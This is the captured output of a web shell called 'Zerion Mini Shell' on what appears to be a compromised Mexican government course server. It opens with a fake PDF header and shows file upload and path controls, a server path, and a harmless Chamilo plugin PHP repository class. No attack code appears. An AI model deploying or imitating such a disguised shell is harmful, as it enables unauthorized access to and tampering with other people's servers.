%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/exercisefocused/src/Repository/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/exercisefocused/src/Repository/LogRepository.php

<?php

/* For licensing terms, see /license.txt */

namespace Chamilo\PluginBundle\ExerciseFocused\Repository;

use Chamilo\CoreBundle\Entity\TrackEExercises;
use Doctrine\ORM\EntityRepository;

class LogRepository extends EntityRepository
{
    public function countByActionInExe(TrackEExercises $exe, string $action): int
    {
        return $this->count([
            'exe' => $exe,
            'action' => $action,
        ]);
    }

    public function countByActionAndLevel(TrackEExercises $exe, string $action, int $level): int
    {
        return $this->count([
            'exe' => $exe,
            'action' => $action,
            'level' => $level,
        ]);
    }
}

Zerion Mini Shell 1.0